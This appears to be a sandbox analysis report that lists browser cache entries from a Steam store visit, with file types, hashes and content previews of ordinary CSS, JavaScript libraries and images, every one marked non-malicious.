Preview:	.btn_green_white_innerfade {...border-radius: 2px;...border: none;...padding: 1px;...display: inline-block;...cursor: pointer;...text-decoration: none !important;...color: #D2E885 !important;........background: #a4d007;.....background: -webkit-linear-gradient( top, #a4d007 5%, #536904 95%);..background: linear-gradient( to bottom, #a4d007 5%, #536904 95%);..}......btn_green_white_innerfade > span {....border-radius: 2px;....display: block;...........background: #799905;.....background: -webkit-linear-gradient( top, #799905 5%, #536904 95%);..background: linear-gradient( to bottom, #799905 5%, #536904 95%);....}.....btn_green_white_innerfade:not(.btn_disabled):not(:disabled):not(.btn_active):not(.active):hover {...text-decoration: none !important;...color: #fff !important;........background: #b6d908;.....background: -webkit-linear-gradient( top, #b6d908 5%, #80a006 95%);..background: linear-gradient( to bottom, #b6d908 5%, #80a006 95%);..}......btn_green_white_innerfade:not(.btn_disable

Chrome Cache Entry: 302

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 9 x 9
Category:	dropped
Size (bytes):	58
Entropy (8bit):	4.407754547912838
Encrypted:	false
SSDEEP:	3:CMTkaasJusJE9RoE:/orsJrKfoE
MD5:	C85B970B4C832E361445C1B446CC2343
SHA1:	57E60C2F1F1F919A871B7C171C6D59D42E3ADBE5
SHA-256:	5CE28D7CF05F0E6EEAA3788A393D9980E9B51130963C6B9672D3447B6B11DE6D
SHA-512:	060B2BA825CD60EA3FAD5FCACE496A77B528210AEAB0092A24B4C438EB2ACAC4166E0C3B704CD3A4D8FA8FB034B0C7A4B5F45E242A7BDAD26580F3236382620E
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,.............h....I.Q9+\|.S]..;

Chrome Cache Entry: 303

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1920x1080, components 3
Category:	downloaded
Size (bytes):	124529
Entropy (8bit):	7.79044844464572
Encrypted:	false
SSDEEP:	3072:R24zCBv0a8Oz/fxlnI0Nc49J7g3HOHQZP:R2GCea8OzHfjO85ygs
MD5:	48B805D8FA321668DB4CE8DFD96DB5B9
SHA1:	E0DED2606559C8100EF544C1F1C704E878A29B92
SHA-256:	9A75F8CC40BBE9C9499E7B2D3BAB98A447685A361489357A111479517005C954
SHA-512:	95DA761CA3F99F7808A0148CFA2416B8C03D90859BFF65B396061ADA5A4394FB50E2A4B82986CAAB07BC1FCD73980FE9B08E804B3CE897762A17D2E44935076D
Malicious:	false
Reputation:	low
URL:	https://community.akamai.steamstatic.com/public/shared/images/joinsteam/new_login_bg_strong_mask.jpg
Preview:	......Exif..II.................Ducky.......<......Adobe.d.................................................................................................................................................8........................................................................................!.1.A.".Q.a2.B#q..3Rb$........................!..1.AQ"..a2B#.............?..w:2...................................u...h....u.}@ ...0.......[..M)..p.....^.0.7P2@..<.H.>@........^@w.?.d.....@.p.w.....y.\..]:......`..%.&...>.....h...{.\|.....O[4Q ]....k..Rg..y....p..jR'..<.\....AS..)..i#..Ps..7UF...d.6...SRb.O..mr.;.R:.......X_.._.sU\}..R..:cC....S...{x%..=.z..yG.[t.S.5.O._.=3.H..\|:r.+..7%b.zt+Nc.\c...\|.&.K..-.qz..\...O.+u...3.>./.....5...D.........H.$.&ER@0..o..gW.u.8'N=...N.Y...g.x...PR................>......>.1...W...C\....a..2...%TA...=oWd...ur..Z......&_...m..?.....O.....Fly.D.D6.r....OK&....H.b...Z...)A.........]Z.U.4VL.&YS../.0p......p......4.....)....*B.a.3b.A8....V.

Chrome Cache Entry: 304

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2213
Entropy (8bit):	4.859929051286054
Encrypted:	false
SSDEEP:	48:rHU4mVNJoFtEWNBhEsNNrEeMdCoqM6VNc0NrWNtylpw6NihRd9Nydcg3SWNO95gm:rHRi6lK8PiTbu93C
MD5:	4FD1E1B49F3598980DC2B260B66A89C0
SHA1:	818B65159E35AB980DE9C00F24C0BEEAC7E3FDF8
SHA-256:	83D8195AEC4990C3EC59DE990B2F0E703FF31054ACDD73B1637254A7716BD5F6
SHA-512:	BCAD622E210374A8FDE4D29565407EBD221390C467C560E04E74C31764533939A8C485994B7B8B27F647CAD07ED59204B92C224FE97699B47CC0754526BF03FD
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/about.js?v=T9HhtJ81mJgN&l=english
Preview:	..$J( document ).ready(...function( )...{....console.log('ready');......function elFadeIn(selected_el)....{.....var windowHeight = $J( window ).height();.....$J( selected_el ).each(......function()......{.......var thisPos = $J( this ).offset().top;.......var topOfWindow = $J( window ).scrollTop();.........if ( topOfWindow + windowHeight - 200 > thisPos ).......{........$J( this ).find( 'img:not(.visible)' ).each(.........function(idx, img).........{..........$J(img).addClass('visible');.........}........);.......}......}.....);....}......var $slick_slider = $J( '#about_steam_features_grid' );......var settings = {.....centerMode: true,.....centerPadding: '10vw',.....slidesToShow: 1,.....dots: true,.....arrows: false,.....infinite: true....}......if ( $J( window ).width() < 750 )....{.....$slick_slider.slick( settings ).on(......'setPosition',......function ( event, slick )......{.......slick.$slides.css( 'height', slick.$slideTrack.height() + 'px ');......}.....);....}......$J( window

Chrome Cache Entry: 305

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	4729
Entropy (8bit):	5.10280551009734
Encrypted:	false
SSDEEP:	96:NMvm3SJQeS6rjDixEIIN725cpQo4PUBikiCY:TSVSdjlPHb
MD5:	2EFFE1AE22F2AD0E73ADC85C888A4096
SHA1:	00E228709CCDA97347A1518420268B9BEE912466
SHA-256:	61F7FC979F13EE610AD0BFE2717110D072261B7ED67E3E2290FF06760E0D0C11
SHA-512:	769664740BC2D9E0AE1DF9BF135AD3D6D10603933908A5305661A31774990B5C41177A56D0EA195CAB1616E32468B2302512FE110D6AAA84FC5DD53D7BA0C2F4
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/css/promo/newstore2016.css?v=Lv_hriLyrQ5z&l=english
Preview:	..body.v6.promoannounce {....}....body.v6.promoannounce .page_content_container {...background-image: none;...background: -webkit-linear-gradient( top, rgba( 0, 0, 0, 1 ) 555px, rgba( 27, 40, 56, 1 ) 1317px);..background: linear-gradient( to bottom, rgba( 0, 0, 0, 1 ) 555px, rgba( 27, 40, 56, 1 ) 1317px);..background-repeat: no-repeat;...background-color: rgba( 27, 40, 56, 1 );....}.....page_header_bg {.. position: absolute;.. height: 400px;.. width: 100%;.. background-color: #66c0f4;...background-image: url( 'https://cdn.akamai.steamstatic.com/store/promo/newstore2016/header_background.jpg' );...background-repeat: repeat-x;..}.....page_content.announce {.. height: auto;..}....#title_text {.. left: 0px;.. top: 90px;.. z-index: 1;..}....#title_desc {.. top: 210px;.. z-index: 1;.....font-family: "Motiva Sans", Sans-serif;....font-weight: 300; /* light */.......color: #fff;..}....#callouts {.. position: relative;.. height: 3723px;.... background: url

Chrome Cache Entry: 306

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1819), with CRLF, LF line terminators
Category:	downloaded
Size (bytes):	89316
Entropy (8bit):	5.660692146381461
Encrypted:	false
SSDEEP:	1536:ONnJeaPWZxrmucwoMf1abY1oB2n70HupuF8P+WaVgDYqiaiiP1rNUEsANnMxafTx:ytlDKHUnweoQk
MD5:	70D168FD2358727EE4DC089670B4430C
SHA1:	7608A16C5A93D0CB7DB2B2F0DE77B5E1FF07BD17
SHA-256:	BFC9BFA0C591D7665BBB9CE469612255D7279029D32246BFFEFD1F8AE5C589F6
SHA-512:	A4C247509116C2B127C6FD1DCF66B1231FACA39EE1A5FF2B4BD401C949B9B56D2098C9FB54BD993E6ABA218A31F0A4C46B9E59F5C33F87B789F5736CB68A16F9
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/shared_global.css?v=cNFo_SNYcn7k&l=english
Preview:	:root {.../* System greys /...--gpSystemLightestGrey: #DCDEDF;...--gpSystemLighterGrey: #B8BCBF;...--gpSystemLightGrey: #8B929A;...--gpSystemGrey: #67707B;...--gpSystemDarkGrey: #3D4450;...--gpSystemDarkerGrey: #23262E;...--gpSystemDarkestGrey: #0E141B;...../ Store blue greys /...--gpStoreLightestGrey: #CCD8E3;...--gpStoreLighterGrey: #A7BACC;...--gpStoreLightGrey: #7C8EA3;...--gpStoreGrey: #4e697d;...--gpStoreDarkGrey: #2A475E;...--gpStoreDarkerGrey: #1B2838;...--gpStoreDarkestGrey: #000F18;...../ Gradients /...--gpGradient-StoreBackground: linear-gradient(180deg, var(--gpStoreDarkGrey) 0%, var(--gpStoreDarkerGrey) 80%);...--gpGradient-LibraryBackground: radial-gradient(farthest-corner at 40px 40px,#3D4450 0%, #23262E 80%);...../ Colours */...--gpColor-Blue: #1A9FFF;...--gpColor-BlueHi: #00BBFF;...--gpColor-Green: #5ba32b;...--gpColor-GreenHi: #59BF40;...--gpColor-Orange: #E35E1C;...--gpColor-Red: #D94126;...--gpColor-RedHi: #EE563B;...--gpColor-DustyBlue: #417a9b;...--gpColor-L

Chrome Cache Entry: 307

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	16087
Entropy (8bit):	4.969826359236833
Encrypted:	false
SSDEEP:	192:x32Mu4vUDjHbnZsXGWIS75sTY8M7ebb6qgrrY20jhN3MScuhJ05zb5jzCF+MlF+8:x32L4kzt3gtGb5LQqha31iUTSiq5N
MD5:	72938851E7C2EF7B63299EBA0C6752CB
SHA1:	B75196BD3A6F9F4DFC1BBF5E43E96874BCD9CE4E
SHA-256:	E2D4E0E1D3E162FDC815F16DFFF9AE9B0A967949F0F3AE371F947D730A3F0661
SHA-512:	2BB6C03A1335EF9514D0D172A4284D82A29D1783A72306BDCB8AF3185D5CD2FF16303355AA4B05086D2FA0B5B7C7159CFA67DE4A6175095FF0E68ADEC2A56AC1
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/tooltip.js?v=.zYHOpI1L3Rt0
Preview:	/* Requires jQuery.. .. This plugin will create div.jsTooltip elements (or configure your own!) in body for every tooltip on the page. Some.. * basic CSS is applied automagically, but you'll want to style it on your own from there. This code will be applied to.. * every element in your .v_tooltip() selector, so giving it a common selector like '.tooltip' is ideal... .. Options:.. * - location: Where the tooltip should spawn in relation to it's parent.. * - offsetN: How many pixels to add.. * - trackMouse: Should we track the mouse cursor instead of the parent?.. * - suppressOnClick: Should we hide if a user clicks the target?.. * - suppressWhileToggled: Should we ignore events if the target has the 'toggled' class?.. * - tooltipClass: css class to apply to tooltip elements.. * - fadeSpeed:.Time (in milliseconds) to spend fading in/out. Set to 0 to disable... * - allowHover: Should we keep the tooltip open if we mouse directly on to the tooltip? (Your tooltip will need to spawn in

Chrome Cache Entry: 308

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 46 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	3412
Entropy (8bit):	7.894932754388399
Encrypted:	false
SSDEEP:	48:DVocieftI9G9f6A+FIDOWu0lDl+gm7QyTtctIInQSy6IVpqlnBcODx3OV8GFT:JZ/I09Da01l+gmkyTt6Hk8nTx+VJB
MD5:	59722F8B05D32484FBD8853CBF7859F2
SHA1:	8C9A1B988324BB779BF273DCFB62E993103757CA
SHA-256:	FCBB90319848B9823C6829ED4ABBA0720F06674AE7E7FF762ABE3B905DD3E24E
SHA-512:	A995853C47F43E3FC1291D6E2E1846B34A629D07D6189F33F79DF84A9E381DB87536A7B7AD183F123B30AF9FC19BDDB5367B987741D0CA3F1DF86B849FF1A7AC
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/images/account/wallet_icon.png
Preview:	.PNG........IHDR.............W.+7....pHYs...t...t..f.x...OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

Chrome Cache Entry: 309

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, comment: "CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90", baseline, precision 8, 32x32, components 3
Category:	downloaded
Size (bytes):	1210
Entropy (8bit):	7.459664429384581
Encrypted:	false
SSDEEP:	24:5f+b0o0XxDuLHeOWXG4OZ7DAJuLHenX3bq1qvFFEHJS8Bsdcgt5iv6QBO25+b0:5fIFuERAZgCFSH5Bsd9Cvty0
MD5:	BA4E51640291BB03CBD41951D9672584
SHA1:	0BBB630D63262DD66D2FDD0F7D37E8661A410075
SHA-256:	3520B13DD1A7954829EB15CD6ABAFCE4F908EA5C624B9DE40C25CCAEFF74F87B
SHA-512:	244A8848BD0D21B9E6B608244346FD4837E513ACF88B2C9599F921530AD440C9737C2B33E253CFBDC163453C9114F15B669410B1C55109DE44A883A5181EF564
Malicious:	false
Reputation:	low
URL:	https://cdn.akamai.steamstatic.com/steamcommunity/public/images/apps/570/0bbb630d63262dd66d2fdd0f7d37e8661a410075.jpg
Preview:	......JFIF.............;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90....C....................................................................C....................................................................... . .."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......!.k.TZ..$.\...[.2....1h.q.I+a~...W..em.x...5....t?...n.MW..V.a.-.. .....u.Q.z..r+...r.%....#.JX\...C....9E^V...e....4$.u...d.....w..o..<K../.....&........6p.>.5......}:+......8.3.........i......e...8.3.....j)..#.'{.7-.,%z..E..Q.....xG.......4E...E'.a2..A....M..............~6.>.u.W..o..~.

Chrome Cache Entry: 310

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with CRLF line terminators
Category:	downloaded
Size (bytes):	24657
Entropy (8bit):	5.319718503552118
Encrypted:	false
SSDEEP:	384:aUXvnJo2dacv5Wc4gOV+n0Xmz85JX1c/jc0NL+lMF2KDnXhOMucpqWqGil/wSwf3:aU/nq2dd4gmLWqGil/wS20m
MD5:	A52BC800AB6E9DF5A05A5153EEA29FFB
SHA1:	8661643FCBC7498DD7317D100EC62D1C1C6886FF
SHA-256:	57CFAF9B92C98541F769090CD0229A30013CEA7CFAFC18519CA654BFAE29E14E
SHA-512:	1BCACD0EC7C3D633D6296FFF3325802D6352805F0D2CF1EEA39237424229ECFFAD6CB2AEE4248E28B1ECA02FF0646B58240851A246BBCF0AA1083830D5D9081E
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v=pSvIAKtunfWg&l=english
Preview:	"use strict";....// build our menu on init..jQuery( function($) {...var mqQueryMenuMode = window.matchMedia ? window.matchMedia("(max-width: 910px)") : {matches: false};...var mqMobileMode = window.matchMedia ? window.matchMedia("(max-width: 500px)") : {matches: false};.....var $HTML = $J('html');...window.UseTouchFriendlyMode = function() {....return $HTML.hasClass( 'responsive' ) && ( mqQueryMenuMode.matches \|\| $HTML.hasClass('touch') );...};...window.UseSmallScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqQueryMenuMode.matches;...};...window.UseMobileScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && mqMobileMode.matches;...};...window.UseTabletScreenMode = function() {....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'tablet' );...};...window.UseNewMobileAppMode = function() {....// the new mobile app can run on screen widths wider than responsive_css_maxwidth....return $HTML.hasClass( 'responsive' ) && $HTML.hasClass( 'rn_mobil

Chrome Cache Entry: 311

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (19780), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	19945
Entropy (8bit):	5.342485948501352
Encrypted:	false
SSDEEP:	384:+odYV4zoDTHwyd4U+EslgeEcDwq11C37aeTXsXAt1CzgqKcnrXvFOLc1FMOVnGz:4SYwyuZ1DemVXm1Czzrf0Lc1FMOVnO
MD5:	DC43944D86292C768C3F53D184FB5DC1
SHA1:	ADF4FB82F00BCB6A3C0751836CB01D90AB118F71
SHA-256:	59C4793678AC21E41F611D11CA8B8120DDAD4890AF4830FB924EC59128D8D198
SHA-512:	1DBE05E4070E2A5B48F9BD5DE2092AF39AEB335941D4448297AF366C1A12E7C0EC335DFF8CB4039476CA9ED6D808536E3AB6601F1CD20B4A5C986C6344C2F1CC
Malicious:	false
Reputation:	low
Preview:	.........../** (c) Valve Corporation. Use is governed by the terms of the Steam Subscriber Agreement http://store.steampowered.com/subscriber_agreement/. ..**/..var CLSTAMP="9230800";(()=>{"use strict";var e,a,n,s,c,d={},b={};function o(e){var a=b[e];if(void 0!==a)return a.exports;var n=b[e]={id:e,loaded:!1,exports:{}};return d[e].call(n.exports,n,n.exports,o),n.loaded=!0,n.exports}o.m=d,o.amdO={},e=[],o.O=(a,n,s,c)=>{if(!n){var d=1/0;for(i=0;i<e.length;i++){for(var[n,s,c]=e[i],b=!0,r=0;r<n.length;r++)(!1&c\|\|d>=c)&&Object.keys(o.O).every((e=>o.O[e](n[r])))?n.splice(r--,1):(b=!1,c<d&&(d=c));if(b){e.splice(i--,1);var f=s();void 0!==f&&(a=f)}}return a}c=c\|\|0;for(var i=e.length;i>0&&e[i-1][2]>c;i--)e[i]=e[i-1];e[i]=[n,s,c]},o.n=e=>{var a=e&&e.__esModule?()=>e.default:()=>e;return o.d(a,{a}),a},n=Object.getPrototypeOf?e=>Object.getPrototypeOf(e):e=>e.__proto__,o.t=function(e,s){if(1&s&&(e=this(e)),8&s)return e;if("object"==typeof e&&e){if(4&s&&e.__esModule)return e;if(16&s&&"function"==

Chrome Cache Entry: 312

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 231x87, components 3
Category:	downloaded
Size (bytes):	14026
Entropy (8bit):	7.947381692216522
Encrypted:	false
SSDEEP:	384:/wTwyq+9hBAA1MWlXG5Wt24vcyyireTz2S+HVb:R+zmAeWlXGN46i6Pf6Vb
MD5:	E8ACE67B89BD7D7ED3F6F9D7CC7BBEE5
SHA1:	D0FE96C8068430E99D186D643B4B5B42796572B1
SHA-256:	CEF6072C444FCD131BFD9D47DC45D5269D8A56F471463157F68F98861B3D38DD
SHA-512:	A5DB5087B698C1935C34968F9991DDF47F728DE4A647CEA6B4667377DFD56C4D2CFABF8185583547B7010F3D31692E7EA743D90258720408B8C21D7559B848BD
Malicious:	false
Reputation:	low
URL:	https://shared.akamai.steamstatic.com/store_item_assets/steam/apps/1790600/capsule_231x87.jpg?t=1728020101
Preview:	......JFIF.............C....................................................................C.......................................................................W..............................................@..........................!.1.."A.Qa.#2q.....BR..$3Cb...cr......................................:.........................!1.AQa."q.2........BR...#b...34............?...qAk$ ..9.....c G.z..LX.Dy^[......7.BA.R.....kQ.&I..A....2......(.........:...EI^... '..>..o..+;.....Z.x.@.....d@....A....S7.j..2K/...=].9....F..>..k....(K)aIm..AiS..W%)...$g.3......0.tc...9.4BL...i...Uz.n.1t..5..Ik.M..3.-,-.mBR..;.r... .. .C.%..-NI.....IW+Q........?.3.....oi.#.-..zr.....x...`....$....E.R.h+.h.7.0.X.A.....4......x.9<}N.m......+.5...Cl...u-.$t+.}x............ix).#.....Hm)...q.....!..hb...G.4....$.'...P......?.6..r.w...}.E^...:.R.9g..s....9+...mm-...p..3.t0w.^.j..IAVbB. d.............`qM...B..R...A)9.P).LzUY.......kQ$...X&3.....R.#...p2{...R....&.M`..xYJ

Chrome Cache Entry: 313

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	2646
Entropy (8bit):	5.186625633836425
Encrypted:	false
SSDEEP:	48:y3/p1p6iBbbjR3+Muik5kSR3+MuikywR3+MuiktStR3+MuikFXR3+MuikRCR3+Mm:ip1p6eUMuotMuYjMuvFMuboMu3dMuIw9
MD5:	45CDA1A73836131DD3614C2C3854CA4D
SHA1:	8C5F6023535CB883463E83170430B31EE72B5176
SHA-256:	218BEDD2A2817DFDE5F3A900B6204C7E378E1B747FF98AE89AEDFF2391E4429C
SHA-512:	EFA13E0D107CB9915BB8AB250B417880F08E255FF2D6457306FEF6A6FF0DEE0FC2F0FCA15738B71CE1AACCD3B2556B677881BEF4A6CB182D696B583F10E78559
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=Rc2hpzg2Ex3T&l=english
Preview:	/.. Font: ..Motiva Sans.. URL: ..http://www.youworkforthem.com/product.php?sku=T2982.. Foundry: .Niramekko.. Foundry: .http://www.youworkforthem.com/designer/293/niramekko.. Copyright:.Copyright 2011 by Rodrigo Saiani. All rights reserved... Version: .1.0.. Created:.August 09, 2012.. License: .http://www.youworkforthem.com/font-license.. License: .The WebFont(s) listed in this document must follow the YouWorkForThem..... WebFont license rules. All other parties are strictly restricted..... from using the WebFonts(s) listed without a purchased license...... All details above must always remain unaltered and visible in your CSS... /....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Regular.ttf?v=4.015') format('truetype');...font-weight: normal;...font-style: normal;..}....@font-face {...font-family: 'Motiva Sans';...src: url('https://store.akamai.steamstatic.com/public/shared/fonts/MotivaSans-Light.ttf?v=4.01

Chrome Cache Entry: 314

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	72579
Entropy (8bit):	4.404375519624922
Encrypted:	false
SSDEEP:	1536:6sBYm/fzArDRTtaj+kGVqg8tPytMuE/dIXyIrY:6sBYm/fzMDRTtaj+kGVqg8tPytMuEYY
MD5:	52F6D73507509BE009949858D33E94A3
SHA1:	5AB9922460AA84D77DB15B693D8A184B5B008736
SHA-256:	6D593B2B5913EB962FB94AD4331A074BD8CB88FEFC77BB7C9825528D59E1F8FF
SHA-512:	3736F1F1B76FCCC2C7CFDB35D1EE9099506AA9DE2DC8AC945680ECAFD53B56F16ACC7CB6CE349EFE8F499051E62484A749045A58814B4D5E825B9DF45BE44BF0
Malicious:	false
Reputation:	low
Preview:	/.. _ _ _ _.. ___\| (_) ___\| \| __ (_)___../ __\| \| \|/ __\| \|/ / \| / __\|..\__ \ \| \| (__\| < _ \| \__ \..\|___/_\|_\|\___\|_\|\_(_)/ \|___/.. \|__/.... Version: 1.5.0.. Author: Ken Wheeler.. Website: http://kenwheeler.github.io.. Docs: http://kenwheeler.github.io/slick.. Repo: http://github.com/kenwheeler/slick.. Issues: http://github.com/kenwheeler/slick/issues.... /../* global window, document, define, jQuery, setInterval, clearInterval */..(function(factory) {.. 'use strict';.. if (typeof define === 'function' && define.amd) {.. define(['jquery'], factory);.. } else if (typeof exports !== 'undefined') {.. module.exports = factory(require('jquery'));.. } else {.. factory(jQuery);.. }....}(function($) {.. 'use strict';.. var Slick = window.Slick \|\| {};.... Slick = (function() {.... var instanceUid = 0;.... function Slick(element, settings) {.... var _ = this,.. dataSet

Chrome Cache Entry: 315

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	88069
Entropy (8bit):	5.309434870070416
Encrypted:	false
SSDEEP:	1536:GmsvI3ZcGj0CqB26gdy5a70stFs1KnVn6z4EMYZlill90Q6ssOZrQSysmHN4jsmG:L046g13n6z4EMjlWN4A
MD5:	BA4DAF764843C4633E80B45BC3BDAB02
SHA1:	2F552843F3D4AE980AC6C99B800284C02EEA3DA9
SHA-256:	C0F363B97FD924F8FD9338EBD1F817F947E3785C6F1B197EEF2934F78CDE0F6C
SHA-512:	CA056DD5462B3ECDB80ECD8BAFF1F28D57BC29041D38DE515CDF79B0AAB2DF2E1B1216025D1596F6B51A3BF806D723C2B13BDF4D9616832F968136CC2F167344
Malicious:	false
Reputation:	low
URL:	https://store.akamai.steamstatic.com/public/javascript/dynamicstore.js?v=uk2vdkhDxGM-&l=english
Preview:	..function GetElemSNR( $Elem )..{...var snr = $Elem.data( 'snr' );...if ( typeof snr != 'undefined' )...{....return snr;...}.....// look for links with snr parameter...var links = $Elem.is( 'a' ) ? $Elem : $Elem.find( 'a' );...snr = null;...for ( var i = 0; i < links.length; ++i )...{....var link = links[i];....var navinfo = link.href.match( /[\?&]snr=([a-zA-Z0-9\-\_ ]+)/ );....if ( navinfo )....{.....snr = navinfo[1];.....break;....}...}.....$Elem.data( 'snr', snr );...return snr;..}....// given an array of impressions as strings, this will handle joining them all together into a singular string, but enforcing that it doesn't..// go above the cookie size limit which can otherwise cause users to become stuck since the page requests will start failing..function JoinImpressionsUpToLimit( rgImpressions )..{...//cookies generally can go up to 4k bytes, but we can have problems when we start getting that close, so cut it off earlier...var nRemainingLen = 3200;...var result = '';...for ( var

Chrome Cache Entry: 316

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (630)
Category:	downloaded
Size (bytes):	10737
Entropy (8bit):	5.327237293204141
Encrypted:	false
SSDEEP:	96:DIxuZlZJFupWXpi0pGZBnXQd2q7s0ZiZmdUYe3egbwZqw8+mwoChzSBmqZTZ+Z33:kEXdMAFJdUTTE77tYHD4egFj2MFpKHc
MD5:	D86DCDBFED4C273C4742744941259902
SHA1:	98089A33D0CF2FA4B3E1BA9B7EEB9B8BA0AC82A7
SHA-256:	4B4969FA4EF3594324DA2C6D78CE8766FBBC2FD121FFF395AEDF997DB0A99A06
SHA-512:	F10E98F579D36CE13E24DBE3050C09D87F12F94578B80EA1891CA485DB48C83619D93A6B74D99639468A746CCE872AF8742CA4DBCECE7A36CFBF097B96B7EAAD
Malicious:	false
Reputation:	low
URL:	https://cdn.jsdelivr.net/npm/react@18.2.0/umd/react.production.min.js
Preview:	/*. @license React. * react.production.min.js. . Copyright (c) Facebook, Inc. and its affiliates.. . This source code is licensed under the MIT license found in the. * LICENSE file in the root directory of this source tree.. */.(function(){'use strict';(function(c,x){"object"===typeof exports&&"undefined"!==typeof module?x(exports):"function"===typeof define&&define.amd?define(["exports"],x):(c=c\|\|self,x(c.React={}))})(this,function(c){function x(a){if(null===a\|\|"object"!==typeof a)return null;a=V&&a[V]\|\|a["@@iterator"];return"function"===typeof a?a:null}function w(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Y(){}function K(a,b,e){this.props=a;this.context=b;this.refs=W;this.updater=e\|\|X}function Z(a,b,.e){var m,d={},c=null,h=null;if(null!=b)for(m in void 0!==b.ref&&(h=b.ref),void 0!==b.key&&(c=""+b.key),b)aa.call(b,m)&&!ba.hasOwnProperty(m)&&(d[m]=b[m]);var l=arguments.length-2;if(1===l)d.children=e;else if(1<l){for(var f=Array(l),k=0;k<l;k++)f[k

Chrome Cache Entry: 317

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1602
Entropy (8bit):	5.090937448322199
Encrypted:	false
SSDEEP:	48:2phdSDVwSyV9jC61sNcNLpfL4K1ysXFQTuQY1oFsES1tcX35EENXmlq+rULXBXeO:VD5O1C8t7LPD7QY11tc5XYULxH
MD5:	5A05314A52936F75B57ECB183893C5F3
SHA1:	D0F9EA81C17DD7733D976191913D8B09567B5D5F
SHA-256:	748685B44B44E8D502326B55F4CF49FB86866F37F244935B457DC0C85E1E4DD2
SHA-512:	63B039EFF5B1DD111B71A5217F40E7E39B3DE98A99C8B31756C67134BAFF9CF7B6A4D088B7FF950C12E62BB8F441CDDB6E4567CF8148847C9CD86930AEE22A39
Malicious:	false
Reputation:	low
